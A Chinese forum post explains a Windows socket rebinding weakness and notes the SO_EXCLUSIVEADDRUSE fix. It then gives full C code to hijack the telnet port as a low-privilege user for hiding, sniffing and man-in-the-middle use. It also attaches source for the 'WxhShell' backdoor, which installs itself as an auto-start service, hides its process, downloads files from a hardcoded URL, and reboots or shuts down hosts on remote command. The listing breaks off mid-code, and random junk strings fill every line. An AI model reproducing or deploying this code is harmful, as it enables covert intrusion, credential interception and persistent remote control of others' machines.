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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mnL \c'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HyXw^ +tsj  
*Id$%O  
  saddr.sin_family = AF_INET; c"t1E-Nsk  
K|];fd U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vP&dvAUF  
b].:2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?GU/Rf!H#  
t$r^'ZN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W^0F(9~!(  
#/@U|g  
  这意味着什么?意味着可以进行如下的攻击: C.s{ &  
y4) M,+O5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aGNVqS%y  
pOD|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #})Oz| c  
2.}<VivT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HKq 2X4J$  
zc]F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PB4E_0}h  
WM: ~P$%cx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (}O)pqZ>  
~w Dmt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1O45M/5\o  
Nv*x^y]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  ?1r@r  
SDiZOypS  
  #include %H>vMR-,~  
  #include nSsVONHfa  
  #include PTA;a 0A  
  #include    FFbMG:>:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "Na9Xea  
  int main() {d}-SoxH  
  { '15j$q  
  WORD wVersionRequested; Q6,rY(b6  
  DWORD ret; 3{Ze>yFE  
  WSADATA wsaData; )&+_T+\  
  BOOL val; Jl Q%+$  
  SOCKADDR_IN saddr; kR^7Z7+#*  
  SOCKADDR_IN scaddr; IG`~^-}7lR  
  int err; u A C:&  
  SOCKET s; fj0+a0h  
  SOCKET sc; ^K@r!)We  
  int caddsize; 'e3y|  
  HANDLE mt; u>& \@?(  
  DWORD tid;   H; TmG<S  
  wVersionRequested = MAKEWORD( 2, 2 ); 34YYw@?}Y  
  err = WSAStartup( wVersionRequested, &wsaData ); Mn>dI@/gM  
  if ( err != 0 ) { Ou2H~3^PL  
  printf("error!WSAStartup failed!\n"); BGOI$,  
  return -1; jm RYL("  
  } X]cB `?vR  
  saddr.sin_family = AF_INET; }Bc'(2A;,  
   ol!o8M%Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KblOP{I  
kjaz{&P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J}jK_  
  saddr.sin_port = htons(23); Vnh +2XiK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  3mWo`l  
  { rctn0*MP  
  printf("error!socket failed!\n"); _QvyFKAM  
  return -1; gK(E0p"  
  } g ywI@QD%#  
  val = TRUE; *Q!b%DIa$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hNDhee`%6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [.6>%G1C  
  { mI9h| n  
  printf("error!setsockopt failed!\n");  cD0  
  return -1; ] |u}P2  
  } "oz @w'rG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pdf_{8 r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sB0+21'R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cnLC>_hY  
=#BeAsFfO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~lDLdUs  
  { KG>.7xVWV7  
  ret=GetLastError(); Z6D4VZVF  
  printf("error!bind failed!\n"); u:HKmP;  
  return -1; {)b`fq  
  } =7e8N&-nv  
  listen(s,2); .Z_U]_(  
  while(1) l06 q1M 3  
  { I.KYWs  
  caddsize = sizeof(scaddr); jQb=N%5s  
  //接受连接请求 cYbO)?mC_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2CmeO&(Qf*  
  if(sc!=INVALID_SOCKET) ++ dV5  
  { 4aV3x&6X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $35Oyd3s<  
  if(mt==NULL) ]ei] ) JI  
  { ;euWpE;E\#  
  printf("Thread Creat Failed!\n"); SbGp  
  break; Gi<f/xQk>  
  } M  j5C0P(  
  } R +\y" .  
  CloseHandle(mt); qS2%U?S7  
  } y:,{U*49  
  closesocket(s); 3zl!x  
  WSACleanup(); i44:VR|  
  return 0; VqbiZOZ@  
  }   /ZzlC#`  
  DWORD WINAPI ClientThread(LPVOID lpParam) F;b|A`M  
  { &a|oJ'clz  
  SOCKET ss = (SOCKET)lpParam; 'P~*cr ?A  
  SOCKET sc; WEsH@ [  
  unsigned char buf[4096]; >N,G@{FR  
  SOCKADDR_IN saddr; =?f}h{8x>  
  long num; a6]!4  
  DWORD val; ALw uw^+  
  DWORD ret; ~Fx[YPO,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "~[Rwh?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5sE^MS1  
  saddr.sin_family = AF_INET; {c J6Lq&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h)<R#xw  
  saddr.sin_port = htons(23); eT|_0kx1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MO D4O4z&  
  { 3jI.!xD`  
  printf("error!socket failed!\n"); iM9563v  
  return -1; zJsoenU  
  } /F4:1 }  
  val = 100; >u4e:/5]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,S5#Kka~a  
  { 2tbqmWw/s  
  ret = GetLastError(); aQG#bh [  
  return -1;  jPs+i  
  } T9$U./69-L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kDz.{Ih  
  { UP`q6] P  
  ret = GetLastError(); "/ "qg  
  return -1; ;CvGIp&y  
  } 4ku/3/ 6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ex=~l O  
  { %*gO<U4L]  
  printf("error!socket connect failed!\n"); eeDhTw9  
  closesocket(sc); 68!]q(!6F  
  closesocket(ss); SH(kUL5  
  return -1; |u+&xX7  
  } RasoOj$  
  while(1) U;nC)'~YW9  
  { UQ8x #(`ak  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _kd |:,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L!p|RKz9X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C:K\-P9  
  num = recv(ss,buf,4096,0); &-* nr/xT  
  if(num>0) Z`*cI   
  send(sc,buf,num,0); $"i690  
  else if(num==0) <oO,CXF  
  break; G<z)Ydh_  
  num = recv(sc,buf,4096,0); @Dy.HQ~  
  if(num>0) 6Te}"t>  
  send(ss,buf,num,0); m7"f6zSo(  
  else if(num==0) yRznP)  
  break; >ob/@  
  } w|HZI,~  
  closesocket(ss); Wk|z\OR(  
  closesocket(sc); w=`z!x![/  
  return 0 ; O)Qz$  
  } @( t:E`8  
m=9 N^_  
VMWg:=~$  
========================================================== }"-r;i  
!BX62j\?  
下边附上一个代码,,WXhSHELL f+920/>!Z  
#SYWAcTkO}  
========================================================== M BT-L  
=l(JJ  
#include "stdafx.h" m@@QT<  
HFr3(gNj@  
#include <stdio.h> d0B+syl&4l  
#include <string.h> A|J\X=5  
#include <windows.h> v2{O67j} o  
#include <winsock2.h> k~R[5W|'  
#include <winsvc.h> vo$66A  
#include <urlmon.h> /4?`F} 7)  
/RM-+D:Y  
#pragma comment (lib, "Ws2_32.lib") W,~1KUTc  
#pragma comment (lib, "urlmon.lib") 78)^vvn5~  
k~#|8eLv  
#define MAX_USER   100 // 最大客户端连接数 TJpv"V  
#define BUF_SOCK   200 // sock buffer K5>:Wi Y  
#define KEY_BUFF   255 // 输入 buffer `VsGa  
Lm|X5RVq  
#define REBOOT     0   // 重启 S:YL<_oI|  
#define SHUTDOWN   1   // 关机 j 7 URg>i0  
nrIL_  
#define DEF_PORT   5000 // 监听端口 _);Kb/  
 ?~.&Y  
#define REG_LEN     16   // 注册表键长度 Elp!,(+&6  
#define SVC_LEN     80   // NT服务名长度 BcLt95;.\  
bY~v0kg  
// 从dll定义API 'EV  *-_k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G C'%s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }^[@m#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zRu`[b3u<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dLf8w>i`T  
%B*dj9n^q  
// wxhshell配置信息 2-0cB$W+  
struct WSCFG { mPin\-I  
  int ws_port;         // 监听端口 B: ~;7A\  
  char ws_passstr[REG_LEN]; // 口令 <gLtX[v!CL  
  int ws_autoins;       // 安装标记, 1=yes 0=no 05B+WJ1  
  char ws_regname[REG_LEN]; // 注册表键名 m;f?}z_\$  
  char ws_svcname[REG_LEN]; // 服务名 YZRB4T9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wF8\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6ZpcT&yL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )|R9mW=k9P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ~C/KA6H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" od1omYsR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <y!r~?  
UwkX[u  
}; ^4pKsO3ul  
&|}IBu:T  
// default Wxhshell configuration L_"(A #H:  
struct WSCFG wscfg={DEF_PORT, yrAzD=  
    "xuhuanlingzhe", q-%KfZ@(|  
    1, Ki/5xK=s  
    "Wxhshell", `HG19_Z  
    "Wxhshell", 4QAIQQS  
            "WxhShell Service", WN +Jf  
    "Wrsky Windows CmdShell Service", _|3TC1N$n  
    "Please Input Your Password: ", K9Xd? ]a  
  1, HFuaoS+b*  
  "http://www.wrsky.com/wxhshell.exe", MuV0;K \  
  "Wxhshell.exe" SRN9(LN  
    }; ]t)M}^w  
@z)tC@  
// 消息定义模块 ""3m!qn#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^YJA\d@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PbUcbb17  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :ZS 8Zm"  
char *msg_ws_ext="\n\rExit."; o?K|[gNi  
char *msg_ws_end="\n\rQuit."; `l2<  
char *msg_ws_boot="\n\rReboot..."; C'/M/|=Q#  
char *msg_ws_poff="\n\rShutdown..."; _SC  
char *msg_ws_down="\n\rSave to "; ?vn 0%e868  
8='21@wrN  
char *msg_ws_err="\n\rErr!"; 8UT%:DlxQ  
char *msg_ws_ok="\n\rOK!"; ;K\N  
H! r Kz  
char ExeFile[MAX_PATH]; }<ONxg6Kb  
int nUser = 0; l$VxE'&LQ  
HANDLE handles[MAX_USER];  OI_/7@L  
int OsIsNt; *C@[5#CA2z  
(GEi<\16[  
SERVICE_STATUS       serviceStatus; Di<J6xu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o1X/<.0+  
MIlCUk  
// 函数声明 207O["Y  
int Install(void); @=NVOJy}c  
int Uninstall(void); fE%[j?[  
int DownloadFile(char *sURL, SOCKET wsh); f:[d]J|  
int Boot(int flag); \W`}L  
void HideProc(void); .aismc`=  
int GetOsVer(void); I0w@S7  
int Wxhshell(SOCKET wsl); %rDmW?T  
void TalkWithClient(void *cs); sb|3|J6=  
int CmdShell(SOCKET sock); lii ]4k+z  
int StartFromService(void);  m-'(27  
int StartWxhshell(LPSTR lpCmdLine); 7t-*L}~WA  
Qw<kX*fxrI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?$J7%I@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "T{~,'T  
&@W4^- 9  
// 数据结构和表定义 Ukx/jNyYv  
SERVICE_TABLE_ENTRY DispatchTable[] = c[h'`KXJf-  
{ }^pQbFku  
{wscfg.ws_svcname, NTServiceMain}, O~#uQm  
{NULL, NULL} 2JA&{ch  
}; "6E1W,|{  
g\qL}:  
// 自我安装 O,=Q1*c,&  
int Install(void) sm2p$3v  
{ xMSNrOc  
  char svExeFile[MAX_PATH]; iM/*&O}  
  HKEY key; )iEa2uJ  
  strcpy(svExeFile,ExeFile); d4p{5F7]^  
9B+ zJ Vte  
// 如果是win9x系统,修改注册表设为自启动 K=m9H=IX~T  
if(!OsIsNt) { { OxAY_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v?YdLR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }RA3$%3  
  RegCloseKey(key); ZSF=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "#-Nqq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B:3+',i1  
  RegCloseKey(key); h;EwkbDQg>  
  return 0; (>rS _#^  
    } (o x4K{  
  } YQ8j  
} mJ8{lXq3!  
else { I~p8#<4#b  
]RH=s7L  
// 如果是NT以上系统,安装为系统服务 H _Zo@y~J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %aj7-K6:t  
if (schSCManager!=0) #*yM2H"7,;  
{ 1z})mfsh  
  SC_HANDLE schService = CreateService tC2 )j7@  
  ( WFU?o[k-O  
  schSCManager, \LO_Nu9  
  wscfg.ws_svcname, n_""M:XH  
  wscfg.ws_svcdisp, *[d~Nk%Y$  
  SERVICE_ALL_ACCESS, [{S;%Jj*X/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !X5o7b)  
  SERVICE_AUTO_START, jIAW-hc]  
  SERVICE_ERROR_NORMAL, .9T.3yQ  
  svExeFile, do:QH.q8)  
  NULL, 8- dRdQu]  
  NULL, >DDQ'W!  
  NULL, 8A2if 9E3  
  NULL, m >]>$=%  
  NULL _MM   
  ); `fQM  
  if (schService!=0) R&6n?g6@/V  
  { )8pc f`h{  
  CloseServiceHandle(schService); >Hdjsu5{N  
  CloseServiceHandle(schSCManager); b7,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  M*d-z  
  strcat(svExeFile,wscfg.ws_svcname); qTyg~]e9(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n_<mPU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7d3 'CQQ4  
  RegCloseKey(key); mWNR(()v  
  return 0; x Z|&/Ci  
    } @4;HC=~  
  } pG0!ALT  
  CloseServiceHandle(schSCManager); ^g9}f  
} WI,40&<  
} J1.qhy>  
j h; 9 [  
return 1; HDyQzCG,  
} Q 2*/`L}m\  
?sV[MsOsC  
// 自我卸载 {J{1`@  
int Uninstall(void) [!^cd%l  
{ <\h*Zy  
  HKEY key; p?Z(rCp  
Y;8 >=0ye  
if(!OsIsNt) { a lrt*V|=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ir]Mn.(Y  
  RegDeleteValue(key,wscfg.ws_regname); hQJo ~'W=  
  RegCloseKey(key); ?p(kh^z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iDZrK%f l  
  RegDeleteValue(key,wscfg.ws_regname); WS5A Y @(~  
  RegCloseKey(key); ~NxEc8Y  
  return 0; 3a'q`.L  
  } }xqXd%uz  
} Po> e kz_E  
} TfL4_IAG.  
else { 9x(}F<L  
CQ<8P86gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U M@naU  
if (schSCManager!=0) 9X3yp:>V  
{ l1}R2lSEO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h77IWo6%  
  if (schService!=0) _D-5}a"  
  { w$b~x4y%  
  if(DeleteService(schService)!=0) { @YCv  
  CloseServiceHandle(schService); 82|q7*M*.  
  CloseServiceHandle(schSCManager); 57U%`  
  return 0; i-,'.w  
  } r ^MiRa  
  CloseServiceHandle(schService); $:e)$Xnn-  
  } h`lmC]X _  
  CloseServiceHandle(schSCManager); QTYYghz  
} 2 % %|fU9  
} 8^y=H=  
U%q:^S%#eG  
return 1; [.a;L">  
} O] H=s  
AeaPK  
// 从指定url下载文件 {|XQO'Wg  
int DownloadFile(char *sURL, SOCKET wsh) *qG$19b  
{ Y#`Lcg+r,  
  HRESULT hr; *2=W5LaK.  
char seps[]= "/"; dgslUg9z3g  
char *token; _W|R;Cz]  
char *file; v J-LPTB  
char myURL[MAX_PATH]; x<s|vgl|  
char myFILE[MAX_PATH]; SW#BZ3L  
k-Fdj5/  
strcpy(myURL,sURL); )tD6=Iz^5  
  token=strtok(myURL,seps); q3)wr%!k5D  
  while(token!=NULL) 5q Rc4d'  
  { Xem5@ (u  
    file=token; wyzOcx>M  
  token=strtok(NULL,seps); /W`$yM3  
  } zP&q7 t;>  
)v1CC..  
GetCurrentDirectory(MAX_PATH,myFILE); rrcwtLNbu  
strcat(myFILE, "\\"); %[ /<+  
strcat(myFILE, file); _88QgThb  
  send(wsh,myFILE,strlen(myFILE),0); ^df x~C  
send(wsh,"...",3,0); @!<d0_dnC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <s}|ZnGE   
  if(hr==S_OK) 4V$fGjJ3  
return 0; J$QBI&D  
else VgMP^&/gZ  
return 1; 9 mPIykAj8  
ej52AK7  
} 5V@&o`!=h  
Qn.[{rw  
// 系统电源模块 xGRT"U(  
int Boot(int flag) {6O0.}q]&  
{ 7~b!4x|Z  
  HANDLE hToken;  rN"Xz  
  TOKEN_PRIVILEGES tkp; -CD\+d  "  
eh<rRx"[  
  if(OsIsNt) { rY,PSK/j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7F(5)Utt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8a>SC$8"  
    tkp.PrivilegeCount = 1; #6W,6(#^#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DMd ,8W7a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .GCR!V  
if(flag==REBOOT) { ,[`$JNc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =j~Q/-`EC0  
  return 0; p)3nyN=|_  
} V"#Jk!k9k  
else { ntGq" o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2\0Oji\6  
  return 0; DZs^ 2Zc  
} =& -[TPW  
  } xU}M;4kH~  
  else { T'1gy}  
if(flag==REBOOT) { XoItV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vZkXt!%)  
  return 0; JE!("]&  
} hNbIpi=  
else { -$YJfQE6G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XP?*=Z]  
  return 0; A#DR9Eq  
} >"("*3AO  
} ?`AGF%zp  
E>pVn2|  
return 1; 4:1)~z  
} .Yx_:h=u  
=;{^" #r\  
// win9x进程隐藏模块 3KcaT5(&  
void HideProc(void) s[AA7>]3  
{ Rj6|Y"gq9  
o8z)nOTO;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #w>~u2W  
  if ( hKernel != NULL ) \VN=Ef\E  
  { uGCp#>+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &5Y_>{,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?)i1b\4Go  
    FreeLibrary(hKernel); 9y~"|t  
  } Do*n#=  
m 22wF>9  
return; *YvRNHP  
} 'fY9a(Xt.  
u^4h&fL  
// 获取操作系统版本 Gv~p  
int GetOsVer(void) Dp!zk}f|  
{ Q~Ea8UT. #  
  OSVERSIONINFO winfo; DDw''  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6E^~n  
  GetVersionEx(&winfo); y=H@6$2EQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \dkOK`)b  
  return 1; %Kto.Xq  
  else QxpKX_@Q5  
  return 0; A';QuWdT  
} )^/0cQcJ  
A3+6 #?:;  
// 客户端句柄模块 *jCW.ZLY  
int Wxhshell(SOCKET wsl) /Ox)|) l  
{ |4C^$  
  SOCKET wsh; ;n*J$B  
  struct sockaddr_in client; h$fe -G#  
  DWORD myID; L`3n2DEBf  
$YM_G=k  
  while(nUser<MAX_USER) VKrShI  
{ +nU.p/cK+\  
  int nSize=sizeof(client); pFO^/P'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E%3TP_B3  
  if(wsh==INVALID_SOCKET) return 1; r@$ w*%  
5w<A;f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZkWL_ H)  
if(handles[nUser]==0) IZNOWX|Z;  
  closesocket(wsh); O@&+} D>  
else LWmB, Zf/  
  nUser++; 5D' bJ6PO  
  } V4K'R2t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )=_ycf^MC  
M-MKk:o  
  return 0; :zp`6l  
} Zb(t3I>n  
_\zQ"y|G  
// 关闭 socket S; /. %  
void CloseIt(SOCKET wsh) (S9f/i ^  
{ 0k[2jh  
closesocket(wsh); Iti0qnBN5  
nUser--; E*CcV;  
ExitThread(0); 9&  
} 4gZ &^y'  
~W{-Q.  
// 客户端请求句柄 Ge \["`;i  
void TalkWithClient(void *cs) 3W&S.$l  
{ .-]R9KjR1J  
b?VV'{4  
  SOCKET wsh=(SOCKET)cs; x;#zs64f  
  char pwd[SVC_LEN]; q |dH~BK  
  char cmd[KEY_BUFF]; ~5OL6Bi-q  
char chr[1]; HW6.O|3  
int i,j; 9M-K]0S(  
J;QUPpH Z  
  while (nUser < MAX_USER) { +%#8k9Y  
c:\shAM&  
if(wscfg.ws_passstr) { xeA#u J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K-Mc6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1q+~4>\|  
  //ZeroMemory(pwd,KEY_BUFF); :qj<p3w~}  
      i=0; Xs$Ufi  
  while(i<SVC_LEN) { sqO< J$tz  
8]"(!i_;)  
  // 设置超时 l-)B ivoi  
  fd_set FdRead; [EZYsOr.  
  struct timeval TimeOut; JK)qZ=  
  FD_ZERO(&FdRead); \8v91g91f  
  FD_SET(wsh,&FdRead); p]&j;H.  
  TimeOut.tv_sec=8; 1mgLX_U9  
  TimeOut.tv_usec=0; FN87^.^2S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U@-2Q=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )&W**!(C  
%dttE)oH?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8l+H"M&|  
  pwd=chr[0]; ,/2LY4` 5  
  if(chr[0]==0xd || chr[0]==0xa) { ukAKFc^)k  
  pwd=0; Y`ihi,s`H  
  break; yfj(Q s  
  } &t}?2>:  
  i++; \ v2H^j/  
    } A o/vp-e  
\;9W.d1iU  
  // 如果是非法用户,关闭 socket $P {K2"Oc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -4 Ux,9&  
} F:g=i}7  
mOBACTY^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E`;;&V q-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )N !>=  
!]koSw}  
while(1) { WlwY <)  
t#wmAOW  
  ZeroMemory(cmd,KEY_BUFF); Lxe^v/LsT  
[0@`wZ  
      // 自动支持客户端 telnet标准   1,t)3;o$  
  j=0; +}kgQ^  
  while(j<KEY_BUFF) { J7$_VP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;`j/D@H  
  cmd[j]=chr[0]; 4Y ROB912  
  if(chr[0]==0xa || chr[0]==0xd) { O l@_(U  
  cmd[j]=0; p~jlx~1-]  
  break; bud&R4+  
  } a:Q[gF8>  
  j++; q!lP"J  
    } ]7YNIS  
wa09$4>_w  
  // 下载文件 vT{kL  
  if(strstr(cmd,"http://")) { v ! hY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UE0$ o?  
  if(DownloadFile(cmd,wsh)) Fd$!wBL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2.I^Xf2  
  else lFG9=Wf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AzO:A  
  } 4`v!Z#e/aX  
  else { d j5hv~  
%:9oDK  
    switch(cmd[0]) { ^rAa"p9  
  X]j)+DX>  
  // 帮助 ja=w 5  
  case '?': { ,J =P,](  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z%d#@w0X1  
    break; M4f;/`w  
  } p.JXS n  
  // 安装 B;#J"6w  
  case 'i': { 9q[;u[A8^  
    if(Install()) HTjkR*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |CD"*[j]  
    else @tUoD>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4LO&STh{  
    break; Rd&9E  
    } @E9" Zv-$  
  // 卸载 ;@mRo`D`  
  case 'r': { -.I4-6~  
    if(Uninstall()) X"asfA[6K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /8ynvhF#  
    else W#F Q,+0)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=)55qu  
    break; [j,txe?n  
    } ?? qq:`s  
  // 显示 wxhshell 所在路径 wVl+]zB  
  case 'p': { a>mMvc"  
    char svExeFile[MAX_PATH]; @J 'YV{]  
    strcpy(svExeFile,"\n\r"); a|j%n  
      strcat(svExeFile,ExeFile); oDB`iiBXQ  
        send(wsh,svExeFile,strlen(svExeFile),0); ^-)txC5{T  
    break; ?V(^YFzZ  
    } vG.9 H_&  
  // 重启 `8_z!)  
  case 'b': { B}?IEpYp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Bo .4lX  
    if(Boot(REBOOT)) L,[;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}j:nk  
    else { ;T+pu>)  
    closesocket(wsh); G5.nPsuM   
    ExitThread(0); W !}{$  
    } 3.Gj4/f  
    break; m6mwyom.  
    } _D7]-3uC!  
  // 关机 px''.8   
  case 'd': {  UL@9W6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9SQ4cv*2  
